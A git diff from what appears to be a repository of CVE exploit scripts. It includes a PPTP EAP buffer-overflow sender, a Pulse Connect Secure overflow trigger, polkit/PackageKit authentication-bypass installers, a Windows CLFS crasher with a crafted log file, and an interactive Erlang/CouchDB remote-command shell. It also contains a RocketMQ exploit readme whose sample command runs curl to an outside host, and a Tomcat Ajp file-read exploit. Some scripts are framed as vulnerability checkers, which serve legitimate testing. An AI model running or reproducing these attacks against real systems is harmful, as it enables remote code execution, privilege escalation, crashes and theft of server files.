print("Received another Config-Request, should reply this")
pkt.show()
server_conf_ack = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/
HDLC()/PPP()/
PPP_LCP_Configure(code=0x2,id=cid,options=pkt[IP][GRE_PPTP][PPP][PPP_LCP_Configure].options), verbose=debug)
conf_ack_sent = True
if conf_ack_received:
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
if p_layer.code == 10 and p_layer.id == 4: # Echo-reply with id=1
if debug:
print("We received a Echo-Reply back for ID=4 ping request")
print("Server %s is likely NOT vulnerable " % (sys.argv[1]))
sys.exit(0)
def handler(signum, frame):
if debug:
print("Timeout has expired")
raise Exception('Timed out')
if len(sys.argv) < 2:
print("Usage %s PPTP_Server to test for CVE-2020-8597" %(sys.argv[0]));
sys.exit(0)
dst = sys.argv[1]
#default pptp port
dport = 1723
print("Initiating communications with PPTP server %s " %(dst))
signal.signal(signal.SIGALRM, handler)
#6 seconds for first TCP response
signal.alarm(6)
#TCP communications
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((dst, dport))
cstream = StreamSocket(client)
# initialize PPTP session
call_id = random.randint(1000,10000)
vr=PPTPStartControlConnectionRequest(vendor_string="cananian")
#This is due to a bug in PPTPStartControlConnectionRequest in scapy where version and
#revision is not properly parsed
vr.protocol_version=256
cstream.sr1(vr,verbose=debug)
call_reply = cstream.sr1(PPTPOutgoingCallRequest(call_id=call_id),verbose=debug)
call_reply = PPTPOutgoingCallReply(call_reply)
signal.alarm(0)
#Another 6 seconds to do GRE connection
signal.alarm(6)
# GRE communications
gre_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_GRE)
gre_socket.connect((dst,dport))
gre_stream = SimpleSocket(gre_socket)
#send configuration request
server_conf_request = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id)/
HDLC()/PPP()/
PPP_LCP_Configure(id=0x1,options=[
PPP_LCP_Magic_Number_Option(magic_number=0xaabbccdd) ]),verbose=debug)
server_conf_request = IP(server_conf_request)
signal.alarm(0)
# give 9 seconds for configure ack to complete
signal.alarm(9)
tries = 0
try:
while conf_ack_received == False or tries < 9:
sniff(iface="eth0",prn=pkt_callback,count=1,filter='proto gre and src host '+sys.argv[1],store=0)
tries = tries + 1
except:
if debug:
print("Never could recevie a configureation ack from peer due to Timeout")
tries = 9
if conf_ack_received == False and tries > 8:
print("Remote system %s did not provide Configure-Acknowledgement - giving up" %(sys.argv[1]))
print("Server %s is in UNKNOWN state" %(sys.argv[1]))
sys.exit(0)
signal.alarm(0)
print("Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow")
bad_pkt=GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/PPP(proto=0xc227)/EAP_MD5(code=1,value_size=16,value='A'*16, optional_name='A'*1100)
gre_stream.send(bad_pkt)
#Look to see if we receive EAP_Nak that means buffer overflow did NOT succeed
signal.alarm(3)
try:
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
except:
print("Server %s is likely vulnerable, did not return anything after EAP packet " % (sys.argv[1]))
sys.exit(0)
print("Server %s is likely NOT vulnerable to buffer overflow" % (sys.argv[1]))
signal.alarm(0)
print("Verifying peer %s one more time using a Echo request to the peer " % (sys.argv[1]))
signal.alarm(3)
#echo request to test if PPP interface is still alive - that means we didnt crash the remote
#pptp server with the bad payload
gre_stream.send(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+2)/
HDLC()/PPP()/
PPP_LCP_Configure(code=0x9,id=4))
try:
PPP_Alive = sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
except:
print("Did not received PPP Echo Reply, check the logs on the server to verify status")
sys.exit(0)
print("Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable")
sys.exit(0)

View File

@ -1,31 +0,0 @@
# cve-2021-22908
This python3 script checks for Pulse Connect Secure servers vulnerable to
[VU#667933](https://www.kb.cert.org/vuls/id/667933) CVE-2021-22908. The python requests library is required for operation.
## Usage modes:
`cve-2021-22908.py <host>`
This mode will interactively log in to a PCS server to obtain a DSID value.
`cve-2021-22908.py <host> -d <DSID>`
In the case were a PCS user's DSID is already known, this mode will skip the
interactive login exchange.
`cve-2021-22908.py <host> -n`
If you do not have authentication available for the target PCS, you can check
for only the presence of the Workaround-2105.xml mitigation.
## Results:
`HTTP 500`
This is indicative of a vulnerable PCS server, due to a crashing CGI.
`HTTP 403. XML workaround applied`
This is indicative of a PCS server that has an XML mitigation applied.
`HTTP 200. Windows File Access Policies prevents exploitation.`
This is indicative of a PCS server that has "Windows File Access Policies"
configured in a way that prevents exploitation.
`HTTP %s. Not vulnerable.`
The PCS server does not appear to be vulnerable.

View File

@ -1,263 +0,0 @@
#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass
parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')
args = parser.parse_args()
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class formvaluefinder(HTMLParser):
def __init__(self, searchval):
super(type (self), self).__init__()
self.searchval = searchval
def handle_starttag(self, tag, attrs):
if tag == 'input':
# We're just looking for form <input> tags
foundelement = False
for attr in attrs:
if(attr[0] == 'name'):
if(attr[1] == self.searchval):
foundelement = True
elif(attr[0] == 'value' and foundelement == True):
self.data = attr[1]
class preauthfinder(HTMLParser):
foundelement = False
def handle_starttag(self, tag, attrs):
if tag == 'textarea':
# We're just looking for <textarea> tags
foundelement = False
for attr in attrs:
if(attr[0] == 'id'):
if(attr[1] == 'sn-preauth-text_2'):
self.foundelement = True
def handle_data(self, data):
if self.foundelement:
self.data = data
self.foundelement = False
def get_realm(host, defaulturi):
realm = None
print('Getting default realm for %s...' % host)
url = 'https://%s%s' % (host,defaulturi)
res = None
try:
res = requests.get(url, verify=False, timeout=10)
except requests.exceptions.ConnectionError:
print('Error retrieving %s' % url)
if res:
if res.status_code == 200:
html = str(res.content)
if 'sn-preauth-text_2' in html:
print('Preauth required...')
parser = preauthfinder()
parser.feed(html)
preauthtext = parser.data
values = {'sn-preauth-text': preauthtext, 'sn-preauth-proceed': 'Proceed'}
res = requests.post(res.url, data=values, verify=False, allow_redirects=False, timeout=10)
if res.content:
parser = formvaluefinder('realm')
parser.feed(str(res.content))
realm = parser.data
else:
print('Error retrieving login page')
else:
parser = formvaluefinder('realm')
parser.feed(html)
realm = parser.data
return realm
def get_dsid(host, defaulturi, realm, user, password):
dsid = None
loginuri = defaulturi.replace('welcome.cgi', 'login.cgi')
url = 'https://%s%s' % (host,loginuri)
values = {'username': user, 'password': password, 'realm': realm, 'btnSubmit': 'Sign In'}
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
if 'confirm' in res.headers['location']:
# Redirect to "user-confirm" that they still want to log in, despite already
# having an active session
print('User session is already active! Proceeding...')
res = requests.post(url, data=values, verify=False, allow_redirects=True, timeout=10)
parser = formvaluefinder('FormDataStr')
parser.feed(str(res.content))
formdata = parser.data
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
elif 'cred' in res.headers['location']:
# This is a pulse that requires 2FA
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'id':
key = cookie.value
password2 = input('MFA code: ')
values = {'key': key, 'password#2': password2, 'btnSubmit': 'Sign In'}
cookies = {'id': key, 'DSSigninNotif': '1'}
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
if 'confirm' in res.headers['location']:
# Redirect to "user-confirm" that they still want to log in, despite already
# having an active session
print('User session is already active! Proceeding...')
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
parser = formvaluefinder('FormDataStr')
parser.feed(str(res.content))
formdata = parser.data
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
else:
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
elif 'failed' in res.headers['location']:
print('Login failed!')
else:
# Login accepted
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
return dsid
def get_xsauth(host, dsid):
xsauth = None
url = 'https://%s/dana/home/index.cgi' % host
cookies = {'DSID':dsid}
res = requests.get(url, verify=False, cookies=cookies, timeout=10)
if 'xsauth' in str(res.content):
parser = formvaluefinder('xsauth')
parser.feed(str(res.content))
xsauth = parser.data
else:
print('Cannot find xsauth string for provided DSID: %s' % dsid)
return xsauth
def trigger_vul(host, dsid, xsauth):
url = 'https://%s/dana/fb/smb/wnf.cgi' % host
values = {
't': 's',
'v': '%s,,' % ('A' * 1800),
'dir': 'tmp',
'si': None,
'ri': None,
'pi': None,
'confirm': 'yes',
'folder': 'tmp',
'acttype': 'create',
'xsauth': xsauth,
'create': 'Create Folder',
}
cookies = {'DSID': dsid}
try:
res = requests.post(url, data=values, verify=False, allow_redirects=False, cookies=cookies, timeout=60)
status = res.status_code
if 'DSIDFormDataStr' in str(res.content):
# We got page asking to confirm our action
print('xsauth value was not accepted')
else:
if status == 200 and 'Error FB-8' in str(res.content):
print('HTTP %s. Windows File Access Policies prevents exploitation.' % status)
elif status == 200:
print('HTTP %s. Not vulnerable.' % status)
elif status == 403:
print('HTTP %s. XML workaround applied.' % status)
elif status == 500:
print('HTTP %s. %s is vulnerable to CVE-2021-22908!' % (status, host))
elif status == 302:
print('HTTP %s. Are you sure your DSID is valid?' % host)
else:
print('HTTP %s. Not sure how to interpret this result.' % status)
except requests.exceptions.ReadTimeout:
print('No response from server. Try again...')
def get_default(host):
url = 'https://%s' % host
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
try:
location = res.headers['location']
if 'dana-na' not in location:
print('%s does not seem to be a PCS host' % host)
location = None
except:
pass
return location
def check_xml(host):
url = 'https://%s/dana/meeting' % host
#print('Checking status of %s ...' % url)
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
if res.status_code == 403:
print('Workaround-2104 appears to be installed')
else:
print('Workaround-2104 does NOT seem to be installed. Hope you are on R11.4 or later!')
url = 'https://%s/dana-cached/fb/smb/wfmd.cgi' % host
#print('Checking status of %s ...' % url)
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
if res.status_code == 403:
print('Workaround-2105 appears to be installed')
else:
print('Workaround-2105 does NOT seem to be installed. Hope you are on R11.5 or later!')
host = args.host
if args.noauth:
check_xml(host)
else:
defaulturi = get_default(host)
if defaulturi:
if not args.realm:
realm = get_realm(host, defaulturi)
else:
realm = args.realm
if realm:
print('Realm: %s' % realm)
if not args.user and not args.dsid:
user = input('User: ')
else:
user = args.user
if not args.password and not args.dsid:
password = getpass.getpass()
else:
password = args.password
if not args.dsid:
dsid = get_dsid(host, defaulturi, realm, user, password)
print('DSID: %s' % dsid)
else:
dsid = args.dsid
if dsid:
if not args.xsauth:
xsauth = get_xsauth(host, dsid)
print('xsauth: %s' % xsauth)
else:
xsauth = args.xsauth
if xsauth:
trigger_vul(host, dsid, xsauth)

View File

@ -1,21 +0,0 @@
# cve-2021-3560
## Vulnerability Info
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
## PackageKit Exploit
### Installing Packages
`install.py` can be used to install a package (such as gnome-control-center) bypassing authentication on systems vulnerable to CVE-2021-3560
The package ID will need to include the semicolons so the quotations are necessary. To determine a valid package id, use the included `search.py` script
On tested systems, simply running the python script results in the process being killed at the correct timing. If needed, you can add a 'time.sleep()' to the end of the script and the sleep & kill technique can be used for better timing.
### Usage
`python3 install.py 'full;package;id;here'`
### Searching For Package IDs
`search.py` is used to determine a full package id from a simple package name.
### Usage
`python3 search.py package_name(s)`

View File

@ -1,16 +0,0 @@
#usage: python3 install.py 'full;package;id;here' 'another;package;id;here'
import sys
import dbus
system_bus = dbus.SystemBus()
pk_object = system_bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
pk_interface = dbus.Interface(pk_object, "org.freedesktop.PackageKit")
pk_transaction = pk_interface.CreateTransaction()
pk_transaction_object = system_bus.get_object("org.freedesktop.PackageKit", pk_transaction)
pk_transaction_interface = dbus.Interface(pk_transaction_object, "org.freedesktop.PackageKit.Transaction")
pk_transaction_interface.InstallPackages(2,sys.argv[1:])

View File

@ -1,30 +0,0 @@
#usage: python search.py packagename [more package names]
import sys
import dbus
from dbus.mainloop.glib import DBusGMainLoop
from gi.repository import GLib
def package_sh(*args, **kwargs):
print(args[1])
def destroy_sh(*args, **kwargs):
loop.quit()
DBusGMainLoop(set_as_default=True)
system_bus = dbus.SystemBus()
pk_object = system_bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
pk_interface = dbus.Interface(pk_object, "org.freedesktop.PackageKit")
pk_transaction = pk_interface.CreateTransaction()
pk_transaction_object = system_bus.get_object("org.freedesktop.PackageKit", pk_transaction)
pk_transaction_interface = dbus.Interface(pk_transaction_object, "org.freedesktop.PackageKit.Transaction")
pk_transaction_interface.connect_to_signal('Package',package_sh)
pk_transaction_interface.connect_to_signal('Destroy', destroy_sh)
GLib.timeout_add(500, pk_transaction_interface.SearchNames, 0,sys.argv[1:])
loop = GLib.MainLoop()
loop.run()

View File

@ -1,56 +0,0 @@
# cve-2021-36955
## Vulnerability Info
https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/
## PoC Crasher
### Overview
The proof-of-concept is very simple, just code to open and close a log file, using `CreateLogFile()` and `CloseHandle()`.
If the log file `test_log.blf` does NOT exist it will be created.
If the log file `test_log.blf` does exist, then the existing file will be opened.
The file `test_log_crafted.blf` has been modified, such that when opened by `CreateLogFile()`, it will trigger the vulnerability on unpatched systems. The provided proof-of-concept causes a double free when `CloseHandle()` is called, resulting in a BSOD for a BAD_POOL_HEADER.
### BLF Layout
The first 0x200 bytes of test_log.blf are the important bytes. Most of these bytes are 0's (as with the rest of a default newly created file), and only matter for the purposes of the checksum.
These bytes make up a CLFS_RECORD_HEADER and a CLFS_CONTROL_RECORD.
![Control Record Sectors](./screenshots/control_record.png)
(Screenshots are taken of the [010 Editor](https://www.sweetscape.com/010editor/))
#### Crafting the CLFS_CONTROL_RECORD
The following fields are changed from the default value of 0 to meet the conditions described in the [referenced blog post](https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/)
- `eExtendState` -> 2
- `iExtendBlock` -> 2
- `iFlushBlock` -> 3
- `cNewBlockSectors` -> 3
After updating these fields, the checksum needs to be updated
The result looks like (the changed bytes are colored orange):
![Crafted Control Record](./screenshots/crafted.png)
##### Checksum Notes
The checksum is calculated over the first 0x200 bytes, with the checksum field zeroed out.
[Alex Ionescu documents](https://github.com/ionescu007/clfs-docs) that the CRC32 polynomial is `0x04C11DB7`.
However, after some experimentation with the 010 Editor's CRC32 tool and referencing [Michaelangel007's notes](https://github.com/Michaelangel007/crc32) the checksum can be replicated using the 'reverse' fixed polynomial `0xEDB88320`.
(This is the same polynomial, just flipped around from the perspective of 010 Editor's CRC32 implementation.)
## Files
- [scripts](./scripts)
- [BLF.bt](./scripts/BLF.bt)
A partial 010 Editor Template for BLF files
- [BLF_Checksum.1sc](./scripts/BLF_Checksum.1sc)
A 010 Editor Script for updating the Control Record Header checksum.
This script should be used after the `BLF.bt` template has been applied to the file.
- [src](./src)
- [poc.c](./src/poc.c)
A simple C program to open and close a log file.
- [Makefile](./src/Makefile)
A simple Makefile with the gcc invocation used to compile `poc.exe`
MinGW is used to compile on Windows.
- [test_log_crafted.blf](./src/test_log_crafted.blf)
a crafted version of a default BLF file created by running `poc.exe` without `test_log.blf` existing.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 85 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 83 KiB

View File

@ -1,123 +0,0 @@
//------------------------------------------------
//--- 010 Editor v12.0.1 Binary Template
//
// File: BLF.bt
// Authors:
// Version:
// Purpose: 010 Editor Template for Base Log Files (BLF),
// used by the Windows CLFS
// Category:
// File Mask:
// ID Bytes:
// History:
//------------------------------------------------
typedef QWORD ULONGLONG;
typedef QWORD PUCHAR;
typedef DWORD CLFS_CLIENT_ID;
typedef QWORD CLFS_LSN;
typedef struct _CLFS_RECORD_HEADER
{
UCHAR MajorVersion <format=hex>;
UCHAR MinorVersion <format=hex>;
UCHAR Usn <format=hex>;
UCHAR StreamIndex <format=hex>;
USHORT TotalSectorCount <format=hex>;
USHORT ValidSectorCount <format=hex>;
ULONG Padding;
ULONG Checksum <format=hex>;
ULONG Flags;
ULONG Padding;
CLFS_LSN CurrentLsn <format=hex>;
CLFS_LSN NextLsn <format=hex>;
ULONG RecordOffsets[16];
ULONG SignaturesOffset;
ULONG Padding;
} CLFS_RECORD_HEADER;
typedef enum <uint64> _CLFS_METADATA_BLOCK_TYPE
{
ClfsMetaBlockControl,
ClfsMetaBlockControlShadow,
ClfsMetaBlockGeneral,
ClfsMetaBlockGeneralShadow,
ClfsMetaBlockScratch,
ClfsMetaBlockScratchShadow
} CLFS_METADATA_BLOCK_TYPE;
typedef enum _CLFS_EXTEND_STATE
{
ClfsExtendStateNone,
ClfsExtendStateExtendingFsd,
ClfsExtendStateFlushingBlock
} CLFS_EXTEND_STATE;
typedef enum _CLFS_TRUNCATE_STATE
{
ClfsTruncateStateNone,
ClfsTruncateStateModifyingStream,
ClfsTruncateStateSavingOwner,
ClfsTruncateStateModifyingOwner,
ClfsTruncateStateSavingDiscardBlock,
ClfsTruncateStateModifyingDiscardBlock
} CLFS_TRUNCATE_STATE;
typedef struct _CLFS_METADATA_RECORD_HEADER
{
ULONGLONG ullDumpCount;
} CLFS_METADATA_RECORD_HEADER;
typedef struct _CLFS_METADATA_BLOCK
{
PUCHAR pbImage <format=hex>;
ULONG cbImage <format=hex>;
ULONG cbOffset <format=hex>;
CLFS_METADATA_BLOCK_TYPE eBlockType;
} CLFS_METADATA_BLOCK;
typedef struct _CLFS_TRUNCATE_CONTEXT
{
CLFS_TRUNCATE_STATE eTruncateState;
CLFS_CLIENT_ID cClients;
CLFS_CLIENT_ID iClient;
CLFS_LSN lsnOwnerPage;
CLFS_LSN lsnLastOwnerPage;
ULONG cInvalidSector;
} CLFS_TRUNCATE_CONTEXT;
typedef struct _CLFS_CONTROL_RECORD
{
CLFS_METADATA_RECORD_HEADER hdrControlRecord;
ULONGLONG ullMagicValue <format=hex>;
UCHAR Version;
UCHAR cReserved;
UCHAR cReserved;
UCHAR cReserved;
CLFS_EXTEND_STATE eExtendState;
USHORT iExtendBlock;
USHORT iFlushBlock;
ULONG cNewBlockSectors;
ULONG cExtendStartSectors;
ULONG cExtendSectors;
CLFS_TRUNCATE_CONTEXT cxTruncate;
USHORT cBlocks;
USHORT cReserved;
ULONG cReserved;
CLFS_METADATA_BLOCK rgBlocks[cBlocks];
} CLFS_CONTROL_RECORD;
CLFS_RECORD_HEADER CRRecordHeader;
CLFS_CONTROL_RECORD ControlRecord;
FSeek(0x400);
CLFS_RECORD_HEADER CRSRecordHeader;
CLFS_CONTROL_RECORD ControlRecordShadow;
FSeek(0x800);
CLFS_RECORD_HEADER GRecordHeader;

View File

@ -1,13 +0,0 @@
//------------------------------------------------
//--- 010 Editor v12.0.1 Script File
//
// File:
// Authors:
// Version:
// Purpose:
// Category:
// History:
//------------------------------------------------
CRRecordHeader.Checksum = 0;
uint checksum = Checksum(CHECKSUM_CRC32,0,0x400,0xEDB88320,0xFFFFFFFF);
CRRecordHeader.Checksum = checksum;

View File

@ -1,3 +0,0 @@
# Assumes MinGW is installed
all: poc.c
gcc poc.c -o poc.exe -lClfsw32

View File

@ -1,17 +0,0 @@
#include <windows.h>
#include <stdio.h>
#include <clfsw32.h>
int main(int argc, char** argv) {
HANDLE logHndl = CreateLogFile(L"LOG:test_log",
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_ALWAYS,
0);
CloseHandle(logHndl);
return 0;
}

View File

@ -1,120 +0,0 @@
#!/usr/local/bin/python3
import socket
from hashlib import md5
import struct
import sys
import re
import time
TARGET = ""
EPMD_PORT = 4369 # Default Erlang distributed port
COOKIE = "monster" # Default Erlang cookie for CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
# Some data:
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
while not TARGET:
TARGET = input("Enter target host:\n> ")
# Connect to EPMD:
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Connect to Erlang port:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
s.send(NAME_MSG)
s.recv(5) # Receive "ok" message
challenge = s.recv(1024) # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]
#print("Extracted challenge: {}".format(challenge))
# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
s.recv(45) # Control message
data_size -= 45 # Data size without control message
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
#print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode())
data_size = 0
else:
data = s.recv(1024)
#print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode(),end = '')
data_size -= 1024

View File

@ -1,24 +0,0 @@
# CVE-2023-33246
## 影响版本
Apache RocketMQ through 5.1.0
## 修复方案
upgrade to version 5.1.1 above for using RocketMQ 5.x
4.9.6 above for using RocketMQ 4.x
## check
```python
python check.py --ip 127.0.0.1
```
## exp
```python
python check.py --file test.txt --attack --command "curl x.x.x.x"
```
利用带外显示结果
## 更新记录
1. 重新优化check 和exp 脚本,合并功能
2. 添加java 版本的检测程序

File diff suppressed because one or more lines are too long

Binary file not shown.

After

Width:  |  Height:  |  Size: 256 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

View File

@ -1,20 +1,15 @@
# Apache-Tomcat-Ajp LFI
## 漏洞编号
CVE-2020-1938 / CNVD-2020-10487
## 影响版本
* Apache Tomcat 6
* Apache Tomcat 7 < 7.0.100
* Apache Tomcat 8 < 8.5.51
* Apache Tomcat 9 < 9.0.31
## 漏洞复现
1. 启动apache tomcat服务访问localhost:8080可以成功访问如下界面
![](images/index.png)
2. 端口扫描发现8009 8080端口开启同时上一步的截图中发现版本为`9.0.30` ,证明有该漏洞。
3. 执行poc 脚本:
```shell
python exp.py http://localhost:8080/ 8009 /WEB-INF/web.xml read
```
4. 执行成功后可以看到成功访问到该文件
![](images/result.png)
# 影响版本</br>
Apache Tomcat 6</br>
Apache Tomcat 7 < 7.0.100</br>
Apache Tomcat 8 < 8.5.51</br>
Apache Tomcat 9 < 9.0.31</br>
# 漏洞复现</br>
首先启动apache tamcat服务访问localhost8080可以成功访问如下界面
![1](Documents/GitHub/0day/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/1.png)</br>
端口扫描发现8009 8080端口开启证明有该漏洞。</br>
接着利用POC文件CNVD-2020-10487-Tomcat-Ajp-lfi.py,注意执行环境为python 2。</br>
命令为 python ./ CNVD-2020-10487-Tomcat-Ajp-lfi.py 本地ip p 8009 f WEB-INF/web.xml</br>
执行成功后可以看到成功访问到该文件。</br>
![2](Documents/GitHub/0day/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/2.png)</br>

View File

@ -0,0 +1,302 @@
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
